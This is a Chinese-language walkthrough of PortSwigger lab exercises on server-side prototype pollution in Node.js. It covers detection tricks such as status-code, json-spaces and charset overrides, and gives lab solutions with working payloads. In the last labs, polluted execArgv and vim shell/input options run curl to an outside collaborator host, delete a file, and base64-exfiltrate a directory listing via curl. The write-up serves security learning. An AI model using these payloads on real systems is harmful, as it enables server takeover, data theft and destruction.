目录
[JSON 空格覆盖](#JSON 空格覆盖)
[通过 child_process.fork() 执行远程代码](#通过 child_process.fork() 执行远程代码)
[通过 child_process.execSync() 执行远程代码](#通过 child_process.execSync() 执行远程代码)
服务端原型污染
JavaScript 原本是一种运行在浏览器上的客户端语言,但随着 Node.js 等服务端运行时的出现,JavaScript 被广泛用于构建服务器、API 和其他后端应用,从逻辑上讲,这也意味着原型污染漏洞也有可能出现在服务端环境中。
虽然基本概念大致相同,但识别服务器端原型污染漏洞并将其开发为可利用的漏洞的过程带来了一些额外的挑战。
在本节中,您将学习多种黑盒检测服务器端原型污染的技术。我们将介绍如何高效且无损地进行检测,然后使用交互式、故意设置漏洞的实验室来演示如何利用原型污染进行远程代码执行。
为什么服务器端原型污染更难检测?
由于多种原因,服务器端原型污染通常比客户端变体更难检测:
- 无法访问源代码- 与客户端漏洞不同,您通常无法访问易受攻击的 JavaScript。这意味着没有简单的方法来了解存在哪些接收器或发现潜在的小工具属性。
- 缺乏开发者工具- 由于 JavaScript 在远程系统上运行,因此您无法像使用浏览器的 DevTools 检查 DOM 那样在运行时检查对象。这意味着,除非您导致网站行为发生明显变化,否则很难判断您何时成功污染了原型。这种限制显然不适用于白盒测试。
- DoS 问题- 使用真实属性成功污染服务器端环境中的对象通常会破坏应用程序功能或彻底导致服务器瘫痪。由于很容易无意中导致拒绝服务 (DoS),因此在生产环境中进行测试可能会很危险。即使您确实发现了漏洞,但当您在此过程中实质上破坏了网站时,将其开发成漏洞利用也是很棘手的。
- 污染持久性- 在浏览器中测试时,只需刷新页面即可撤消所有更改并再次获得干净的环境。一旦污染了服务器端原型,此更改将持续存在 Node 进程的整个生命周期,并且您无法重置它。
在以下章节中,我们将介绍一些非破坏性技术,这些技术使您能够尽管存在这些限制,但仍可以安全地测试服务器端原型污染。
通过受污染的属性反射检测服务器端原型污染
开发人员容易陷入的一个陷阱是忘记或忽略这样一个事实:JavaScriptfor...in
循环会迭代对象的所有可枚举属性,包括通过原型链继承的属性。
您可以按照如下方式自行测试:
const myObject = { a: 1, b: 2 };
// pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar';
// confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false
// list names of properties of myObject
for(const propertyKey in myObject){
console.log(propertyKey);
}
// Output: a, b, foo
这也适用于数组,其中for...in
循环首先遍历每个索引,这本质上只是引擎盖下的数字属性键,然后再转到任何继承的属性。
const myArray = ['a','b'];
Object.prototype.foo = 'bar';
for(const arrayKey in myArray){
console.log(arrayKey);
}
// Output: 0, 1, foo
无论哪种情况,如果应用程序稍后在响应中包含返回的属性,则这可以提供一种探测服务器端原型污染的简单方法。
POST
或者PUT
向应用程序或 API 提交 JSON 数据的请求是此类行为的主要候选者,因为服务器通常会使用新对象或更新对象的 JSON 表示形式进行响应。在这种情况下,您可以尝试Object.prototype
使用任意属性污染全局变量,如下所示:
POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
"user":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"__proto__":{
"foo":"bar"
}
}
如果该网站存在漏洞,则注入的属性将会出现在响应中的更新对象中:
HTTP/1.1 200 OK
...
{
"username":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"foo":"bar"
}
在极少数情况下,网站甚至可能使用这些属性来动态生成 HTML,从而导致注入的属性在您的浏览器中呈现。
一旦确定服务器端原型污染是可能的,您就可以寻找可用于漏洞利用的潜在小工具。任何涉及更新用户数据的功能都值得调查,因为这些功能通常涉及将传入数据合并到代表应用程序内用户的现有对象中。如果您可以向自己的用户添加任意属性,这可能会导致许多漏洞,包括权限提升。
lab1:通过服务器端原型污染进行权限提升
先wiener:peter登录
修改address,抓包
payload:
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"mkHHRN8uZFBOF4GrtsKd2qGodQT1EKFi",
"__proto__": {
"isAdmin":true
}
}
回到浏览器发现多了一栏管理面板
删除用户
无需污染属性反射即可检测服务器端原型污染
大多数情况下,即使成功污染了服务器端原型对象,也不会在响应中看到受影响的属性。鉴于您也无法在控制台中检查对象,因此在尝试判断注入是否有效时,这会带来挑战。
一种方法是尝试注入与服务器的潜在配置选项相匹配的属性。然后,您可以比较注入前后服务器的行为,以查看此配置更改是否已生效。如果是这样,这强烈表明您已成功找到服务器端原型污染漏洞。
在本节中,我们将介绍以下技术:
所有这些注入都是非破坏性的,但成功后仍会在服务器行为中产生一致且明显的变化。您可以使用本节中介绍的任何技术来解决随附的实验。
这只是一小部分潜在技术,让您了解其可能性。如需更多技术细节以及 PortSwigger Research 如何开发这些技术的见解,请查看Gareth Heyes 撰写的白皮书《服务器端原型污染:无 DoS 的黑盒检测》。
状态代码覆盖
Express 等服务器端 JavaScript 框架允许开发人员设置自定义 HTTP 响应状态。如果出现错误,JavaScript 服务器可能会发出通用 HTTP 响应,但在正文中包含 JSON 格式的错误对象。这是提供有关错误发生原因的更多详细信息的一种方式,从默认 HTTP 状态中可能看不出来。
尽管有点误导,但收到200 OK
响应的情况相当常见,只是响应主体包含具有不同状态的错误对象。
HTTP/1.1 200 OK
...
{
"error": {
"success": false,
"status": 401,
"message": "You do not have permission to access this resource."
}
}
Node 的http-errors
模块包含以下用于生成此类错误响应的函数:
function createError () {
//...
if (type === 'object' && arg instanceof Error) {
err = arg
status = err.status || err.statusCode || status
} else if (type === 'number' && i === 0) {
//...
if (typeof status !== 'number' ||
(!statuses.message[status] && (status > 400 || status >= 600))) {
status = 500
}
//...
status
第一行突出显示的代码尝试通过从传入函数的对象中读取status
或属性 来分配变量statusCode
。如果网站的开发人员没有明确设置status
错误的属性,您可以使用它来探测原型污染,如下所示:
- 找到触发错误响应的方法并记下默认状态代码。
- 尝试用您自己的属性污染原型
status
。务必使用不太可能因任何其他原因发出的模糊状态代码。 - 再次触发错误响应并检查是否已成功覆盖状态代码。
JSON 空格覆盖
Express 框架提供了一个json spaces
选项,可让您配置用于在响应中缩进任何 JSON 数据的空格数。在许多情况下,开发人员会保留此属性未定义,因为他们对默认值感到满意,这使其容易通过原型链受到污染。
如果您有权访问任何类型的 JSON 响应,您可以尝试使用自己的json spaces
属性污染原型,然后重新发出相关请求,看看 JSON 中的缩进是否相应增加。您可以执行相同的步骤来删除缩进,以确认漏洞。
这是一种非常有用的技术,因为它不依赖于要反映的特定属性。它也非常安全,因为您只需将属性重置为与默认值相同的值即可有效地打开或关闭污染。
虽然原型污染问题已在 Express 4.17.4 中修复,但尚未升级的网站可能仍然存在漏洞。
字符集覆盖
Express 服务器通常会实现所谓的"中间件"模块,以便在将请求传递给适当的处理程序函数之前对其进行预处理。例如,该body-parser
模块通常用于解析传入请求的主体以生成req.body
对象。它包含另一个小工具,可用于探测服务器端原型污染。
请注意,以下代码将选项对象传递给函数read()
,该函数用于读取请求主体进行解析。其中一个选项encoding
确定要使用的字符编码。这可以通过函数调用从请求本身派生getCharset(req)
,也可以默认为 UTF-8。
var charset = getCharset(req) or 'utf-8'
function getCharset (req) {
try {
return (contentType.parse(req).parameters.charset || '').toLowerCase()
} catch (e) {
return undefined
}
}
read(req, res, next, parse, debug, {
encoding: charset,
inflate: inflate,
limit: limit,
verify: verify
})
如果仔细查看该getCharset()
函数,你会发现开发人员似乎已经预料到Content-Type
标头可能不包含显式charset
属性,因此他们实现了一些逻辑,在这种情况下会恢复为空字符串。至关重要的是,这意味着它可能可以通过原型污染进行控制。
如果您可以找到一个在响应中可见其属性的对象,则可以使用它来探测源。在下面的示例中,我们将使用 UTF-7 编码和 JSON 源。
1.将任意 UTF-7 编码的字符串添加到在响应中反映的属性。例如,foo
UTF-7 中为+AGYAbwBv-
{
"sessionId":"0123456789",
"username":"wiener",
"role":"+AGYAbwBv-"
}
2.发送请求。服务器默认不会使用 UTF-7 编码,因此该字符串应以编码形式出现在响应中。
3.content-type尝试使用明确指定 UTF-7 字符集的属性 来污染原型:
{
"sessionId":"0123456789",
"username":"wiener",
"role":"default",
"__proto__":{
"content-type": "application/json; charset=utf-7"
}
}
4.重复第一个请求。如果你成功污染了原型,那么 UTF-7 字符串现在应该在响应中被解码:
{
"sessionId":"0123456789",
"username":"wiener",
"role":"foo"
}
由于 Node_http_incoming
模块中的一个错误,即使请求的实际Content-Type
标头包含其自己的charset
属性,此方法也能正常工作。为了避免在请求包含重复标头时覆盖属性,该函数会在将属性传输到对象 _addHeaderLine()
之前检查是否存在具有相同键的属性IncomingMessage
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
// ...
} else if (dest[field] === undefined) {
// Drop duplicates
dest[field] = value;
}
}
lab2:检测没有污染属性反射的服务器端原型污染
还是一样的入口打入payload:
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"RhLXJyIniZvHbQtmmlPzp8Ola8o50e8n","__proto__": {
"status":555
}}
最后再可以破坏json格式发包,可以看到statusCode和status均为污染的值
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"RhLXJyIniZvHbQtmmlPzp8Ola8o50e8n","__proto__": {
"status":555
}
绕过输入过滤器以避免服务器端原型污染
网站通常会尝试通过过滤可疑key(例如)来防止或修补原型污染漏洞__proto__
。这不是一种强大的长期解决方案,因为有多种方法可以绕过它。例如,攻击者可以:
- 对禁止的关键字进行模糊处理,以便在清理过程中遗漏它们。有关更多信息,请参阅绕过有缺陷的密钥清理。
- 通过构造函数属性而不是访问原型
__proto__
。有关更多信息,请参阅通过构造函数进行原型污染
Node 应用程序也可以分别__proto__
使用命令行标志--disable-proto=delete
或完全删除或禁用--disable-proto=throw
。但是,也可以通过使用构造函数技术来绕过这一点。
lab3:绕过有缺陷的输入过滤器来服务器端原型污染
直接__proto__打入失败
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"sl1iMzHeci9JLYnVPDL5C5fdlpLzQLRZ",
"__proto__": {
"isAdmin":true
}
}
尝试通过constructor配合prototype
属性污染
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"sl1iMzHeci9JLYnVPDL5C5fdlpLzQLRZ",
"constructor": {
"prototype": {
"isAdmin":true
}
}
}
成功污染
删除指定用户
通过服务器端原型污染执行远程代码
虽然客户端原型污染通常会使易受攻击的网站暴露于DOM XSS,但服务器端原型污染可能会导致远程代码执行 (RCE)。在本节中,您将学习如何识别可能发生这种情况的情况以及如何利用 Node 应用程序中的一些潜在载体。
识别易受攻击的请求
Node 中有许多潜在的命令执行接收器,其中许多都出现在child_process
模块中。这些通常由异步发生的请求调用,而您首先可以利用该请求污染原型。因此,识别这些请求的最佳方法是使用有效负载污染原型,该负载在调用时触发与 Burp Collaborator 的交互。
环境变量NODE_OPTIONS
允许您定义一串命令行参数,每当您启动新的 Node 进程时,这些参数都应默认使用。由于这也是env
对象的一个属性,因此如果未定义,您可以通过原型污染来控制它。
Node 中用于创建新子进程的一些函数接受一个可选shell
属性,该属性允许开发人员设置用于运行命令的特定 shell(例如 bash)。通过将其与恶意属性相结合NODE_OPTIONS
,你可以污染原型,从而导致每次创建新的 Node 进程时都与 Burp Collaborator 进行交互:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
通过 child_process.fork() 执行远程代码
child_process.spawn()
和 等方法child_process.fork()
使开发人员能够创建新的 Node 子进程。该fork()
方法接受一个选项对象,其中一个潜在选项是属性execArgv
。这是一个字符串数组,其中包含生成子进程时应使用的命令行参数。如果开发人员未定义它,这可能也意味着它可以通过原型污染进行控制。
由于此小工具允许您直接控制命令行参数,因此您可以访问一些使用NODE_OPTIONS
无法实现的攻击媒介。特别有趣的是--eval
参数,它使您能够传入将由子进程执行的任意 JavaScript。这可能非常强大,甚至允许您将其他模块加载到环境中:
"execArgv": [
"--eval=require('<module>')"
]
除了 之外fork()
,该child_process
模块还包含execSync()
方法,该方法将任意字符串作为系统命令执行。通过链接这些 JavaScript 和命令注入接收器,您可以潜在地升级原型污染,从而在服务器上获得完整的 RCE 功能。
lab4:通过服务器端原型污染执行远程代码
wiener:peter登录后直接给了管理面板
看到管理面板有一个运行工具
在触发新的任务执行之前,先在./my-account/change-address处污染execArgv
payload:
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QfjGaaPRixjvc2yS2bynoQ1qSyxrmeTY","__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://10z9zs800s6f7pgfsey1zx2nhen5b0zp.oastify.com')"
]
}}
再回到控制面板触发任务
看到成功执行命令
再在./my-account/change-address打入payload:
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QfjGaaPRixjvc2yS2bynoQ1qSyxrmeTY","__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}}
成功删除指定文件
通过 child_process.execSync() 执行远程代码
在上例中,我们child_process.execSync()
通过--eval
命令行参数自行注入了接收器。在某些情况下,应用程序可能会自行调用此方法以执行系统命令。
和fork()
一样,该execSync()
方法也接受 options 对象,该对象可能通过原型链被污染。虽然这不接受属性execArgv
,但您仍然可以通过同时污染shell
和input
将系统命令注入正在运行的子进程中:
- 该
input
选项只是一个字符串,它被传递给子进程的stdin
流并由 执行为系统命令execSync()
。由于还有其他选项可以提供命令,例如简单地将其作为参数传递给函数,因此input
属性本身可能未定义。 - 该
shell
选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()
使用系统的默认 shell 来运行命令,因此这也可以不定义。
通过污染这两个属性,您可能能够覆盖应用程序开发人员想要执行的命令,而是在您选择的 shell 中运行恶意命令。请注意,这有几个注意事项:
- 该
shell
选项仅接受 shell 可执行文件的名称,不允许您设置任何其他命令行参数。 - shell 总是使用
-c
参数执行,大多数 shell 都使用参数来让您以字符串形式传递命令。但是,-c
在 Node 中设置标志会对提供的脚本运行语法检查,这也会阻止它执行。因此,尽管有解决方法,但使用 Node 本身作为攻击的 shell 通常很棘手。 - 由于
input
包含您的有效载荷的属性是通过stdin
传递的,因此您选择的 shell 必须接受来自stdin
的命令。
虽然文本编辑器 Vim 和 ex 并非真正用来充当 shell,但它们确实满足了所有这些条件。如果服务器上恰好安装了其中任何一个,就会为 RCE 创建一个潜在的载体:
"shell":"vim",
"input":":! <command>\n"
Vim 具有交互式提示,并期望用户点击Enter
以运行提供的命令。因此,您需要通过\n
在有效负载末尾添加换行符来模拟这一点,如上例所示。
给一个演示:
VIM中执行Shell命令(炫酷) - ShadonSniper - 博客园
该技术的另一个限制是,有些你可能想用于攻击的工具默认也不从stdin读取数据。然而,有一些简单的方法可以解决这个问题。比如,在 curl 中,你可以使用 -d @-
参数从标准输入读取数据,并将其作为 POST 请求的请求体发送。
在 curl
命令中,@-
表示从标准输入读取数据。这个符号将告诉 curl
,它应该使用前面通过管道传输的数据作为请求的主体。具体到你给出的命令中,@-
会将 base64
编码后的内容作为 POST 请求发送到指定的 URL。
在其他情况下,你可以使用 xargs
,它会将标准输入转换为可以传递给命令的参数列表。
lab5:通过服务器端原型污染泄露敏感数据
老地方打入污染
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QLYMvhHqjIhwUqgTvwq7py40PrxiStra","__proto__": {
"shell":"vim",
"input":":! curl https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com\n"
}
}
运行任务
成功执行命令
再次打入payload:
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"QLYMvhHqjIhwUqgTvwq7py40PrxiStra","__proto__": {
"shell":"vim",
"input":":! ls /home/carlos | base64 | curl -d @- https://aguk8yjornzbbwze022mz92ogfm6awyl.oastify.com\n"
}
}
再触发
看到成功接收到post请求
base64解码后拿到敏感信息